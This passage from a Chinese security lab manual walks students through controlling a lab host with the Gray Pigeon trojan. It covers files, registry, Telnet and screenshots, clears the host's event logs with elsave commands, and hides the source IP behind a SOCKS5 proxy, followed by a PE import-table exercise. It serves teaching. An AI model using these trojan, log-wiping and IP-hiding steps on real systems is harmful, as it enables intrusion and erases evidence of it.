①主机 B 在目录"D:\Work\Trojan\"下建立一个文本文件,并命名为 "Test.txt"。

②主机 A 操作"灰鸽子远程控制"程序来对主机 B 进行文件管理。

单击"文件管理器"属性页,效仿资源管理器的方法在左侧的树形列表的"自动上线主机"下找到主机 B 新建的文件"D:\Work\Trojan\Test.txt"。在右侧的详细列表中对该文件进行重命名操作。

③在主机 B上观察文件操作的结果。

(2) 系统信息查看

主机 A 操作"灰鸽子远程控制"程序查看主机 B 的操作系统信息。单击"远程 控制命令"属性页,选中"系统操作"属性页,单击界面右侧的"系统信息"按钮, 查看主机 B 操作系统信息。

(3) 进程查看

①主机 A 操作"灰鸽子远程控制"程序对主机 B 启动的进程进行查看。

单击"远程控制命令"属性页,选中"进程管理"属性页,单击界面右侧的"查看进程"按钮,查看主机 B 进程信息。

②主机 B 查看"进程监控" | "进程视图" 枚举出的当前系统运行的进程,并和主机 A 的查看结果相比较。

(4) 注册表管理

主机 A 单击"注册表编辑器"属性页,在左侧树状控件中"远程主机"(主机 B)注册表的"HKEY\_LOCAL\_MACHINE\Software\"键下,创建新的注册表项;对

新创建的注册表项进行重命名等修改操作;删除新创建的注册表项,主机 B 查 看相应注册表项。(运行 regedit)

(5) Telnet 主机 A 操作"灰鸽子远程控制"程序对主机 B 进行远程控制操作,单击菜单项中的"Telnet" 按钮,打开 Telnet 窗口,使用"cd c:\"命令进行目录切换,使用"dir"命令显示当前目录内容,使用其它命令进行远程控制。

(6) 其它命令及控制

主机 A 通过使用"灰鸽子远程控制"程序的其它功能(例如"捕获屏幕"), 对主机 B 进行控制。

(7) 清理痕迹

「此步骤为单人操作,以主机 A 为例说明」

①查看事件查看器中的日志。

主机 A 点击平台工具栏"事件查看器"按钮, 弹出事件查看器。



②删除事件查看器中的日志。

主机 A 使用 elsave 清除日志工具,点击 Vstart 工具集->网络攻防中的 Elsave,进入 elsave 工作目录。

清除目标系统的应用程序日志输入:elsave −s \\本机 IP 地址 −1 "application" -C

清除目标系统的系统日志输入: elsave -s \\本机 IP 地址 -1 "system" - C

清除目标系统的安全日志输入: elsave −s \\本机 IP 地址 −1 "security" -C

输入如下图:



文件(E) 操作(A) 查看(y) 帮助(H)            ← ◆ E II          圖 圖 II         圖 II	文件(E) 操作(A) 查看(Y) 帮助(H)         >       ●       ●       ●       ●         ■ 事件查看器(本地)       系统       0 个事件         ●       ●       ●       ●         ●       ●	事件查看器			ال_	
<ul> <li>← → </li> <li>● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●</li></ul>	<ul> <li>▶ ◆ </li> <li>● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●</li></ul>	文件(E) 操作(A) 强	至看(Y) 帮助(H)			
郵 事件查看器(本地)         系统 0 个事件           國 应用程序         类型         日期         时间         来源         分           國 安全性         近         此视图中没有可显示的项目。         反	●件查看器(本地)                系统             ○	⇔ → 🗈 🖬 🖆	• 🗗 🖪 😫			
图 应用程序     类型     日期     时间     来源     分       图 安全性     此视图中没有可显示的项目。       图 反S Server	应用程序     类型     日期     时间     来源     分       要全性     此视图中没有可显示的项目。       動 系统     此视图中没有可显示的项目。       国 DNS Server     以	뒖 事件查看器(本地)	系统 0个事件			
● 受全性 ● 承统 此视图中没有可显示的项目。 ● DNS Server	■	回 应用程序	类型 日期	时间	来源	分
R. C.	R	● 支王庄 ● 系统 思 DNS Server	此视图中	没有可显示的I	页目。	
					R	
						C
	C		1			E
	•					
			图 3 査看 E	志		

(8) 代理跳板

「此步骤用到3台主机,分别为主机A、主机B、主机C为例说明」 ①主机A作为代理服务器,点击Vstart工具集一网络攻防中的 svchost, 弹出 snake 图形界面,将界面进行截图并上传:

:和居 <b>之</b>	地址 (1) 📄 搜索结果 搜索助理	× 名称 & syc	host. exe	所在文件夹 D:\ExpNIC\NetAD\To	ols\Snake	▼ → 转到 61	×
<b>以</b> 站	按下面任意或所 行搜索。 全部或部分文件名。	Snake的代理就板( 命令 <u>C</u> 配置 <u>F</u> 帮助 <u>H</u>	RUSI∕EX_ GUI¢€¥2.0 stasi	D / Expail (Firewall i 改进版	vravioolsvaindowsServer2003		Ð
<b>D</b>	svchost 文件中的一个字或	肤态: 运行在端口: 源地址	1913 目的地址	当前连接数目:0 接受 发送	空闲时间   状态		
	□3,78 m(b).						
	▲北福田(). ▲ 本地磁盘(0): 什么報 <b>後後改的</b> 大小是? 其地奇観近頃 ■ 其他観樂法頃 ■ 更改省造項(G	-				2	



点击配置中的运行选项,可修改代理服务的端口。

②使用 sock5 代理连接网络。

主机 B 作为客户端使用傲游浏览器配置使用 sock5 代理通过代理服务器主机 A 访问网络。点击平台工具栏"傲游浏览器"按钮,启动傲游浏览器,点击"工具"—"代理服务器"—"管理代理服务器列表"。


图 6 打开代理

添加代理,如下图。填写地址为 sock5 代理所在主机 A 机器的 IP 地址: 端口号为代理服务器 Snake 设置的端口,类型选择 socks5 代理,点击"确定"按 钮。

1首输入 1-201音	息以添加新的代理服务器
	地址 172.16.1.71:1913
	<b>7 1 1 7 1 1 1 1 1 1 1 1 1 1</b>
	类型 Socks5
	一 李再松淀
	密码
	▶ 添加以后启用

③主机 A、主机 C 点击平台工具栏"Wireshark"按钮,启动网络封包分析工具。点击捕获使用的网卡,开始捕获。主机 B 点击平台工具栏"傲游浏览器"按钮,访问主机 C 的 BBS,代理服务器主机 A 查看 snake 工作状态。

伏态: 运行在端口:	1913	当前	连接数目:2		
源地址	目的地址	接受	发送	空闲时间	状态
172.16.1.79:3132 172.16.1.79:3128	0.0.0.0:0 172.16.1.111:80	0 0	3 32	0:0:0 0:0:0	完成第一步握手 TCP连接:成功

#### 图 8 查看状态

主机 A 查看 Wireshark 抓取数据包情况。

Captu	ring 1	Eron I	atel (B	) PB	0/100	0 💵	let	rork	Conne	etio	n -	Tire	sha	k			
<u>File</u> E	dit <u>V</u>	iew <u>G</u>	o <u>C</u> apt	ure	Analy	ze	Stati	stics	Tele	phony	To	ols	Help				
			110		X	8		0		-	-	7	4				
Filter:				_								•	E	press			)
No.	Time		Sour	ce				Desti	natio	n			Pro	tocol			
5876	609.	96657	5172	.16.	1.71			172.	16.1	L.79			TC	P			
5877	609.	96711	3 172	.16.	1.79			172.	16.1	L.71			TC	P			
5878	609.	96868	0172	.16.	1.79	-		172.	16.1	L.71	-		TC	P			
5879	609.	96870	3 172	.16.	1.71			172.	16.1	L.79			TC	P		)	
5880	610.	00197	6172	.16.	1.79			172.	16.1	1.71			TC	P			
5881	610.	00201	3 172	.16.	1.71			172.	16.1	1.79			TC	P	Ē.		
5882	610.	00253	5172	.16.	1.79		-	172.	16.1	1.71			TC	P			
5883	610.	00285	3 172	.16.	1.79			172.	16.1	1.71			TC	P			
5884	610.	01382	9172	.16.	1.71			172.	16.1	1.79			TC	P			
5885	610,	01541	8172	.16.	1.79			172.	16.1	1.71			TC	P			
5886	610.	02811	8172	.16.	1.71			172.	16.1	L.79			TC	P.			
5887	610.	02867	7172	.16.	1.79			172.	16.1	. 71			TC	P.			
5888	610.	03037	1 172	.16.	1.79	-		172.	16.1	1.71	-		TC	P			
5889	610.	03039	5 172	.16.	1.71			172.	16.1	L.79			TC	P			
5890	610.	06465	0172	.16.	1.79	-		172.	16.1	1.71	-		TC	P			

# 图 9 主机 A 抓取数据包

主机 C 查看 Wireshark 抓取数据包情况。发现客户端主机 B 访问主机 C 的时候,源地址均为代理服务器主机 A 的地址,实现了隐藏 IP 的目的。

C a	ptu	ring from In	tel(R) PRO/1000	T Network Connection - Tir	eshark
File	E E	lit <u>V</u> iew <u>G</u> o	<u>Capture</u> <u>Analyze</u>	Statistics Telephony Tools	Help
			BBX2	1 占   🔍 🗢 🏟 🧔 7	2   [
Filt	er:				<ul> <li>Expres</li> </ul>
No.		Time	Source	Destination	Protoco
	43	7.467290	172.16.1.71	172.16.1.111	TCP
	44	7.498391	172.16.1.71	172.16.1.111	TCP
	45	7.626355	172.16.1.111	172.16.1.71	TCP
	46	7.714733	172.16.1.71	172.16.1.111	HTTP
	47	7.765580	172.16.1.111	172.16.1.71	TCP
	48	7.766376	172.16.1.71	172.16.1.111	TCP
	49	7.766398	172.16.1.111	172.16.1.71	TCP
	50	7.767174	172.16.1.71	172,16.1.111	TCP
	51	7.767205	172.16.1.111	172.16.1.71	HTTP
	52	7.767651	172.16.1.71	172.16.1.111	TCP
	53	9.433454	172.16.1.71	172,16,1,111	TCP
	-54	9.595068	172.16.1.111	172.16.1.71	TCP
	55	9.595588	172.16.1.71	172.16.1.111	HTTP
	56	9.736011	172.16.1.111	172.16.1.71	HTTP
	57	0 886555	172 16 1 71	172 16 1 111	TCD

图 10 主机 C 抓取数据包

**回答问题:**实验中木马植入用到了微软的哪个漏动? (C)

A MS06279

B MS98000

 $C\ {\rm MS06014}$ 

D MS33669

# 拓展: 初解 PE 文件

#### 【实战目标】

借助输入表的 IID 数组,查找 PE.exe 文件隐式的链接 DLL 文件偏移地址值(如 DLL 文件 一的偏移地址是 123, DLL 文件二的偏移地址是 AB6,答案提交 123AB6,依次类推)。

#### 【实战提示】

1. 使用 LordPE 工具,查看各个块实际偏移地址;

2. 使用 WinHex 工具查找 IID 数组。

3. 根据 IID 数组内容确定 DLL 文件名称和 DLL 文件偏移地址。

#### 解题需知

1. PE 文件格式是 Win32 平台上(包括 Windows9x/NT/2000/XP/2003/Vista/CE)主流的可执 行文件格式,是 Portable Executable File Format(可移植的执行体)简写。它衍生于早期建 立在 VAX/VMS 上的 COFF(Common Object File Format)文件格式。对 PE 格式和 COFF文 件的主要描述存放在 winnt.h 文件中,它是 PE 文件定义的最终决定者。它是目前 Windows 平台上的主流可执行文件格式。PE 文件使用的是一个平面地址空间,所有代码和数据都被 合并在一起,组成一个很大的结构。文件的内容被分割为不同的区块(Section,又称区段、 节等),区块中包含代码和数据,各个区块按页边界来对齐,区块没有大小限制,是一个连 续结构。每个块都有它自己在内存中的一套属性,比如,这个块是否包含代码、是否只读 或者可读写等。

认识 PE 文件不是作为单一内存映射文件被装入内存是很重要的,Windows 加载器(又称 PE 装载器)遍历 PE 文件并决定文件的哪一部分被映射,这种映射方式是将文件较高的偏移位置映射到较高的内存地址中。当磁盘文件一旦被装入内存中,磁盘上的数据结构布局和内存中的数据结构布局是一致的,这样如果在磁盘的数据结构中寻找一些内容,那么几乎都能在被装入到内存映射文件中找到相容的信息。但是数据之间的相对应位置可能改变,其某项的偏移地址可能区别于原始的偏移位置,不管怎样,所有表现出来的信息都允许从磁盘文件偏移到内存偏移的转换。

(1) 基地址

当 PE 文件通过 Windows 加载器被装入内存后,内存中版本被称作模块(Module),映射 文件的起始地址被称为模块句柄(hModule),可以通过模块句柄访问内存中其他的数据结 构。这个初始内存地址也称为基地址(ImageBase)。准确的说,对于 WindowsCE 这是不成 立的,一个模块句柄在 WindowsCE 下并不等同于安装的起始地址。

(2) 相对虚拟地址

为了在 PE 文件中避免有确定的内存地址,出现了相对虚拟地址(Relative Virtual Address,简称 RVA)概念。RVA 只是内存中的一个简单的相对于 PE 文件载入地址的偏移位置,它 是一个"相对"地址,或称为"偏移量"。

(3) 文件偏移地址

当 PE 文件储存咋磁盘上时,某个数据的位置相对于文件头的偏移量,称为文件偏移地址 (File Offset)或物理地址(RAW Offset)。文件偏移地址从 PE 文件的第一个字节开始计数, 起始值为 0。用十六进制工具打开文件所显示的地址就是文件偏移地址。

(4) MS-DOS 头部

每个 PE 文件是以一个 DOS 程序开始的,有了它一旦程序在 DOS 下执行,DOS 就能识别 出这是有效的执行体,然后运行紧随 MZ header 之后的 DOS stub (DOS 块)。 (5) PE 文件头 紧跟着 DOS stub 的是 PE 文件头(PE Header)。PE Header 是 PE 相关结构 NT 映像头(IMAGE\_NT\_HEADERS)的简称,其中包含许多 PE 装载器用到的重要字段。执行体在支持 PE 结构的操作系统中执行时,PE 装载器将从 IMAGE\_DOS\_HEADER 结构中的 e\_lfanew 字段里找到 PE Header 的起始偏移地址,加上基地址得到 PE 文件头的指针。

(6) 区块

在 PE 文件头与原始数据之间存在一个区块表(Section Table),区块表包含每个块在映像中的信息,分别指向不同的区块实体。

(7) 输入表

可执行文件使用来自于其他 DLL 的代码或数据时,称为输入。当 PE 文件装入时,Windows 加载器的工作之一就是定位所有被输入的函数和数据,并且让正在被装入的文件可以使用 那些地址。这个过程是通过 PE 文件的输入表 (Import Table,简称 IT,也称为导入表)来完成的,输入表中保存的是函数名和其驻留的 DLL 名等动态链接所需的信息,因此输入表在 软件外壳技术上的地位非常重要。

(8) 绑定输入

当 PE 装载器装入 PE 文件时,检查输入表并将相关 DLL 映射到进程地址空间。然后遍历 IAT 里的 IMAGE\_THUNK\_DATA 数组并用输入函数的真是地址替换它,这需要很多时间。 如果程序员事先能正确预测函数地址,PE 装载器就不用每次装入 PE 文件时都去修正 IMAGE\_THUNK\_DATA 值了,绑定输入(Bound Import)就是这种思想的产物。

(9) 输出表

当创建一个 DLL 时,实际上创建了一组能让 EXE 或其他 DLL 调用的一组函数,此时 PE 装载器根据 DLL 文件中输出信息修正被执行文件的 IAT。当一个 DLL 函数能被 EXE 或另 一个 DLL 文件使用时,它被成为输出表 (exported)。其中输出信息被保存在输出表中, DLL 文件通过输出表向系统提供输出函数名、序号和入口地址等信息。

(10)基地址重定位

当链接器生成一个PE文件时,它假设这个文件执行时会被装载到默认的基地处,并且.code 和 data 的相关地址都写入 PE 文件中。如果装入时按默认的值作为基地址装入,则不需要 重定位。但如果可执行文件被装载到虚拟内存的另一个地址,链接器所登记的那个地址就 是错误的,这时就需要用重定位表来调整,在 PE 文件中,它往往单独分为一块,用 ".reloc"表示。

(11)资源

Windows 程序的各种界面称为资源,包括加速键(Accelerator)、位图(Bitmap)、光标 (Cursor)、对话框(Dialog Box)、图标(Icon)、菜单(Menu)、串表(String Table)、 工具栏(Toolbar)、版本信息(Version Information)等。在 PE 文件所有结构中,资源部分 是最复杂的。

2. IID 数组:输入函数就是指被程序调用,但其代码又不在程序中的函数,这些函数的代码在程序相关的 DLL 中,当 PE 文件被装入时,Windows 装载器确保所有它所需的 DLL 都 被加载,然后完成 PE 文件同 DLL 的链接。

在 PE 文件 IMAGE\_OPTIONAL\_HEADER32 中数据目录 IMAGE\_DATA\_DIRECTORY 的第 二个成员指向输入表。输入表以一个 IMAGE\_IMPORT\_DESCRIPTOR (简称 IID)数组开始。 每个被 PE 文件隐式的链接进来的 DLL 都有一个 IID。数组结束时,再以一个全 0 的 IID 结 构作为结束。

typedef struct \_IMAGE\_IMPORT\_DESCRIPTOR{
 union

{

#### DWORD Characteristics;

DWORD OriginalFirstThunk;

};

DWORD TimeDateStamp;

DWORD ForwarderChain;

DWORD Name;

DWORD FirstThunk;

} IMAGE IMPORT DESCRIPTOR;

这里的 OriginalFirstThunk 指向 INT (Import Name Table), FirstThunk 指向 IAT (Import Address Table)。

INT 和 IAT 都是 IMAGE\_THUNK\_DATA 结构的数组。每一个 IMAGE\_IMPORT\_DATA 结构指向一个 IMAGE\_IMPORT\_BY\_NAME 结构,而 IMAGE\_IMPORT\_BY\_NAME 中的 Hint 和 Name 分别存放着输入函数在 DLL 中的序号和输入函数的名称。由 OriginalFirstThunk 和 FirstThunk 分别指向的 INT 和 IAT 是两组并行的指针,二者本质上是相同的。OriginalFirstThunk 指向的 INT 是不可改写的,而 FirstThunk 指向的 IAT 由 PE 装载器重写,用函数真正的入口地址来代替。之所以有不同是为了满足不同的函数输入方式。

3. LordPE: 是一款功能强大的 PE 文件分析、修改、脱壳软件。LordPE 是查看 PE 格式文件信息的首选工具,并且可以修改相关信息。

4. WinHex: 十六进制编辑器, 它可以用来检查和修复各种文件、恢复删除文件、硬盘损 坏造成的数据丢失等, 同时还可以查看其他程序隐藏起来的文件和数据。

5. 操作流程



【详细指导】

<sup>1.</sup> 计算文件偏移地址

<sup>(1)</sup> 运行 LordPE 编辑工具,单击【PE Editor】加载目标程序 PE.exe 文件,单击【Sections】

#### 查看各个块的实际偏移地址,如下图所示。

gle ome	C-\Docum	resits and Set	tines' Admin	strator\8*	Dominant SA	Derai es is V.		-	
<b>》</b> 邻居	文件(2) 第 ③ 后退 →	諸程 (E) 一 適看 (L ) - <mark> ク</mark>   ノー 1	11 - 收藏 (4) 雙索 🕞 文件表	工具(I) 帮助 ♥ │ <mark></mark> ▼	助(19)				1
Path Path Start Start Path Start Start Start Path	stem] stem] stemo1 systemo1 systemo2 %c:\windows\system32 %c:\windows\system32 system32 windows\system32 system33 system34 system32 system34 system	PX Editor 1 Basic PE Head F Section 2 Name Ir Lext S ridata B data B S F Magic:	C V01eet     D0001000     00002000     00002000     00003000     00003000     00003000     00003000	VSize 00001000 00001000 00000038	ROffset           00000200           00000400           00000600	PSize 0000019D 000001C4 00000031	Flags 6000020 40000040 C0000040		PE Editor Break & Enter Rebuild PE Unsplit Dumper Server Options
						-		, v	About Exit

Name: 区块名称;

VOffset: 该区块装载到内存中的 RVA 值;

VSize: 指出实际的、被使用的区块大小,是区块在没有对齐处理前的实际大小;

ROffset: 该块在磁盘文件中的偏移地址;

RSize: 该块在磁盘文件中所占的大小;

Flages: 区块属性的标志位;

(2) ".rdata" (只读数据段)装载到内存中的 RVA 值是 2000h,该块在磁盘文件中的偏移地址 是 400h,计算 $\Delta$ K (VOffset 与 ROffset 的差值)=2000h-400h=1C00h。单击【L】查看列表,下图所示,引入表的相对虚拟地址(RVA)2040h。所以文件偏移地址为(相对虚拟地址(RVA=虚拟地址-基地址)与 $\Delta$ K 的差值): 2040h-1C00h=440h。

gLe ome		Documents and Settings\kde 7) 编辑论: 京吾(V) 收藏(A	inistratorNe Uoroa 工具の 報助的	naitz Alfredi	eisti odittui :		
祁居	○ 后週 地址 ○	l → ) - <b>介</b>   」 搜索 ) 文	件夹 🛄 -	(Helling)			▼ ■ 转到
	Lord??. Naine       Path       © [system]       © (system)       © (system)       © (system)       © (system)       © (system)       © (system)       © (windows/system)       Path	DataDirectory (16) 	RVA         S           0x00000000         0           0x00000000         0	ize x00000000 x0000000 x0000000 x0000000 x000000	(".rdata") (".rdata")		PE Editor Break & Enter Rebuild PE Unsplit Dumper Server Options
						Q	About Exit

2. 查看引入 DLL 位置

运行 WinHex 工具, 依次执行 File/Open 或者使用 Ctrl+O 快捷键加载目标程序 PE.exe 文件。 查找偏移地址为 00000440h 处, 即输入表的内容地址。每一个 IID 包含 5 个双字,用来描述 一个引入的 DLL 文件, 数组结束时, 再以一个全 0 的 IID 结构作为结束。。如下图所示。

NNN

🌉 TinHex - [PE.exe]				
☆ 文件 图 (编辑 图) 搜索 ⑥ 异脑 图 1	査看(い) 古具(い) 专业	上工具(I)选项(D) 窗口(W)	) 帮助(H)	18.4 x86 _ 문 ×
案件数据2018-05-16 1	100:30	😰 😂 👘 🖻 🖻	a 🖻 🐘 🔛 🛛 🙈 🦀 🦛 🎋 😒 🗌	→ + →   2, 2 2 2 回 0 6 天田
文件(L) 编辑(D)	PF ava			
		1 2 2 4 5 6		
	000000220 FF			PE. exe
	00000330 FF	73 UC FF 73 US E8 1	E 20 20 40 00 FF 25 26 20	yu yu e C:\Documents and Settings\Admini
	00000340 C0	00 FF 25 16 20 40 6	0 FF 25 10 20 40 00 FF 25 26 20	$AEA = 1y_{3}$ $0 \Rightarrow 0 \Rightarrow T H + h$ . $1 \in VD$
	00000360 28	20 40 00 FF 25 10 2	0 40 00 FF 25 14 20 40 00	
	00000370 FF	25 34 20 40 00 FF 2	5 38 20 40 00 FF 25 20 20	(e y ( 1,000 - p)
	00000380 40	00 FF 25 24 20 40 0	0 FF 25 08 20 40 00 FF 25	0 ##* 0 # 缺省编辑模式
	00000390 04	20 40 00 FF 25 00 2		G 112 G 状态: 原始
	00000330 00			物油が知ら
	00000380 00			后向撤消 不可用
	00000300 00			ACCOUNTS
	00000300 00			创建时间: 2018/05/16
	00000380 00			11:02:16
	00000370 00			長行河入时间・ 2017/08/21
	00000400 A0	21 00 00 8E 21 00 0		10:53:00
	00000410 10	21 00 00 1C 21 00 0	0 F4 20 00 00 E0 20 00 00	10.00.00
	00000420 50	21 00 00 64 21 00 0	0 02 21 00 00 CE 20 00 00	P! d! A
	00000430 BC	20 00 00 2E 21 00 0		
	00000440 8C	20 00 00 00 00 00 0	0 00 00 00 00 74 21 00 00	C 」 模式· 十六进制
	00000450 10	20 00 00 7C 20 00 0		
	00000460 B4	21 00 00 00 20 00 0	0 00 00 00 00 00 00 00 00	() (() () () () () () () () () () () ()
	00000470 00	00 00 00 00 00 00 0	0 00 00 00 00 A0 21 00 00	毎页面字节数· 36v16=576
	00000480 8E	21 00 00 80 21 00 0	0 00 00 00 00 10 21 00 00	Ž! €!
	00000490 10	21 00 00 F4 20 00 0	0 EO 20 00 00 50 21 00 00	
	000004A0 64	21 00 00 02 21 00 0	O CE 20 00 00 BC 20 00 00	d!!: 1 窗口思致: 1
	000004B0 2E	21 00 00 42 21 00 0	0 00 00 00 00 58 00 43 72	.! B! 前品格 可田
	000004C0 65	61 74 65 57 69 6E 6	6F 77 45 78 41 00 83 00	eateWindd
	000004D0 44	65 66 57 69 6E 64 6	F 77 50 72 6F 63 41 00 00	DefWindot IA的又件夹: 5.6 GB 空余
	000004E0 94	00 44 69 73 70 61 7	74 63 68 4D 65 73 73 61 67	" Dispate Sers\ADMINI 1\AppBata\Local\Temp
	000004F0 65	41 00 00 28 01 47 6	55 74 4D 65 73 73 61 67 65	eA (Get
	00000500 41	00 97 01 4C 6F 61 6	4 43 75 72 73 6F 72 41 00	A - Load
	00000510 9B	01 4C 6F 61 64 49 6	53 6F 6E 41 00 DD 01 50 6F	> LoadIct
	00000520 73	74 51 75 69 74 4D 6	55 73 73 61 67 65 00 EF 01	stQuitMes
	00000530 52	65 67 69 73 74 65 7	72 43 6C 61 73 73 45 78 41	Register(
	00000540 00	00 65 02 53 68 6F 7	77 57 69 6E 64 6F 77 00 00	e Showl
	00000550 7D	02 54 72 61 6E 73 6	5C 61 74 65 4D 65 73 73 61	) Transle 8 Bit (0
	•			16 Bit (0
<u> </u>	页面 2 / 3	偏移量:	46F = 0 选块:	440 - 46F 大小: 32 Bit (0
🦺 开始 📴 📀 🛛 💿 网络安全实训	C:\Documents	🔄 捜索结果	🕽 C:\Documents 🚯 [ LordPE Del	u 💹 WinHex - [PE 🦢 🛃 🇞 11:08

#### 3. 查看引用 DLL 文件

如上图所示,输入表的 IID 数组(图中阴影部分)整理如下表所示。每一个 IID 包含一个 DLL 的描述信息,现有两个 IID,因此这里面引入了两个 DLL 文件。

表-WinHex 中显示的 IID 数组

OriginalFirstThunk	TimeDateStamp	ForwarderChain	Name	FirstThunk
8C20 0000	0000 0000	0000 0000	7421 0000	1020 0000
7C20 0000	0000 0000	0000 0000	B421 0000	0020 0000

(1) 根据上表所示,每个 IID 中的第四个字段是指向 DLL 名称的指针。这里第一个 IID 数 组, "8C 20"开始的 IID 数组内第四个字段是 74210000,翻转过来也就是 RVA 地址 00002174h,将其减去 1C00h 得到文件偏移地址 574h,查看 574h 偏移地址处对应的字符是 什么,确定调用的是哪一个 dll 文件,经过查看此处调用的是 USER32.dll,因此 USER32.dll 文件的文件偏移地址为 574h,如下图所示。

🎆 WinHex - [PE	. exe]		_ 8 ×
🏭 文件 🕲 🦛 編輯	● 提索 €) 异	导航(12) 查看(14) 石具(12) 法项(12) 窗口(11) 帮助(13)	18.4 x86 🔄 🗗 🗙
案件数据	b2A5-1	503 ∰ MY → 1200 13 16 16 16 18 1 A A A & 43 16 1 → 13 🗲 → 1 2 2 2 2 III P	🕫 🤀 🖌 🚩 🧔
文件(L) 编辑(D)	PE. exe		
	Offset	0123456789ABCDEF	77
	000003C0		rn. exe
	00000300	00 00 00 00 00 00 00 00 00 00 00 00 00	c. mocuments and SettingstAumini
	000003E0	00 00 00 00 00 00 00 00 00 00 00 00 00	文件大小: 1.5 🕃
	000003F0	00 00 00 00 00 00 00 00 00 00 00 00 00	1,585 字节
	00000400	AO 21 00 00 8E 21 00 00 80 21 00 00 00 00 00 00 ! Ž! €!	La de martination - A
	00000410	10 21 00 00 1C 21 00 00 F4 20 00 00 E0 20 00 00 ! ! ô à	新谷綱 韓 根式
	00000420	50 21 00 00 64 21 00 00 02 21 00 00 CE 20 00 00 P! d! ! Î	状态:
	00000430	BC 20 00 00 2E 21 00 00 42 21 00 00 00 00 00 00 44 .! B!	撤消级别: 0
	00000440	8C 20 00 00 00 00 00 00 00 00 00 074 21 00 00 02 t!	反向撤消: 不可用
	00000450	10 20 00 00 7C 20 00 00 00 00 00 00 00 00 00 00 00	A late at MT
	00000460	B4 21 00 00 00 20 00 00 00 00 00 00 00 00 00	创建时间: 2018/05/16
	00000470	00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 1	11:02:16
	00000480	8E 21 00 00 80 21 00 00 00 00 00 00 10 21 00 00 Ž! €! !	最后写入时间: 2017/08/21
	00000490	1C 21 00 00 F4 20 00 00 E0 20 00 00 50 21 00 00 ! ô à P!	10:53:00
	00000440	64 21 00 00 02 21 00 00 CE 20 00 00 BC 20 00 00 d! ! Î 4	届性・
	000004B0	2E 21 00 00 42 21 00 00 00 00 00 00 58 00 43 72 .! B! X Cr	四标 0
	000004C0	65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 83 00 eateWindowExl f	121V5.
	000004D0	44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 DefWindowProck	模式: 十六进制
	000004E0	94 00 44 69 73 70 61 74 63 68 4D 65 73 73 61 67 "DispatchMessag	字符集: ANSI ASCII
	000004F0	65 41 00 00 28 01 47 65 74 4D 65 73 73 61 67 65 eA ( GetMessage	偏移量: 十六进制
	00000500	41 00 97 01 4C 6F 61 64 43 75 72 73 6F 72 41 00 A - LoadCursorA	每页面字节数: 36x16=576
	00000510	9B 01 4C 6F 61 64 49 63 6F 6E 41 00 DD 01 50 6F > LoadIconA Ý Po	当前帝口号: 1
	00000520	73 74 51 75 69 74 4D 65 73 73 61 67 65 00 EF 01 stQuitMessage ï	当前图中5. 1
	00000530	52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 RegisterClassExA	E HARS
	00000540	00 00 65 02 53 68 6F 77 57 69 6E 64 6F 77 00 00 e ShowWindow	剪贴板: 可用
	00000550	7D 02 54 72 61 6E 73 6C 61 74 65 4D 65 73 73 61 ) TranslateMessa	
	00000560	67 65 00 00 8B 02 55 70 64 61 74 65 57 69 6E 64 ge < UpdateWind	ADUTATION DATE
	00000570	6F 77 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 ow USER32.dll	SerstADMINI ItAppDatatLocaltiemp
	00000580	75 00 45 78 69 74 50 72 6F 63 65 73 73 00 B6 00 u ExitProcess 9	
	00000590	47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 GetCommandLineA	Ŭ
	000005A0	11 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C GetModuleHandl	
	00000580	65 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C eA KERNEL32.dll	
	000005C0		
	00000500		数据解释器
	000005E0		8 Bit (0
	000005F0		16 Bit (29,952
<u> </u>	页面 3 / 3	(编移量: 577 = 0 选块: 570 -	57F 大小: 32 Bit (1,157,
🏄 开始 👩 📀	📀 网络安全实	实训 🔁 C: \Documents 🔰 搜索结果 🗁 C: \Documents 🚷 [ LordPE Delu 🌿 WinHe	ex - [PE 💩 🛃 🗞 11:09

(2) 第二个 IID 数组, "7C 20"开始的 IID 数组内第四个字段是 B4210000, 翻转过来也就 是 RVA 地址 000021B4h,将其减去 1C00h 得到文件偏移地址 5B4h,查看 5B4h 偏移地址处 对应的字符是什么,确定调用的是哪一个 dll 文件,经过查看此处调用的是 KERNEL32.dll,因此 KERNEL32.dll 文件的文件偏移地址为 5B4h,如下图所示。

a. structure       a. structure <t< th=""><th>案件教授201</th><th>8-05-1</th><th>「加心」「雪石(山」(二月心)」で、</th><th>VIZIE I I 110 UNI DI TE</th><th></th><th></th><th>10.1.03</th></t<>	案件教授201	8-05-1	「加心」「雪石(山」(二月心)」で、	VIZIE I I 110 UNI DI TE			10.1.03
(中山) 朝田山 (中山) (中山) (中山) (中山) (中山) (中山) (中山) (中山	SHOT T SOLUTION				計山(W) 和明(H)	→ # <b>1                                   </b>	18.4 x86 2 2 3 🖬 🔾 🕼 🤐 🖌 🗲 🖉
Offsee       0       1       2       1       5       6       7       0 <th0< th=""> <th0< td="" th<=""><td>文件(L) 编辑(D)</td><td>PE. exe</td><td></td><td></td><td>HEX HEX</td><td>·</td><td></td></th0<></th0<>	文件(L) 编辑(D)	PE. exe			HEX HEX	·	
00000000       000000000000000000000000000000000000		Offset	0 1 2 3 4 5 6	5789A1	BCDEF		A PF ava
CONSTRUE OF CONSTRUE OF CONSTRUENT OF CONSTRUE		000003C0	00 00 00 00 00 00 00	0 00 00 00 00 00	00 00 00 00		C:\Documents and Settings
000000000       000000000000000000000000000000000000		00000300		) 00 00 00 00 01 ) 00 00 00 00 01			文件大小・
00000000 00 10 2 10 00 00 10 2 10 00 00 00 10 00 00 00 00 00 00 1 1 1 0 0 1		000003F0	00 00 00 00 00 00 00	0 00 00 00 00 00	0 00 00 00 B7		1,58
00000110       11       10       0       1       0       0       1       0       0       1       0       0       1       0       0       1       0       0       1       0       1       1       0 <t< td=""><td></td><td>00000400</td><td>AO 21 00 00 8E 21 00</td><td>00 80 21 00 0</td><td>00 00 00 00</td><td>! Ž! €!</td><td>缺省编辑模式</td></t<>		00000400	AO 21 00 00 8E 21 00	00 80 21 00 0	00 00 00 00	! Ž! €!	缺省编辑模式
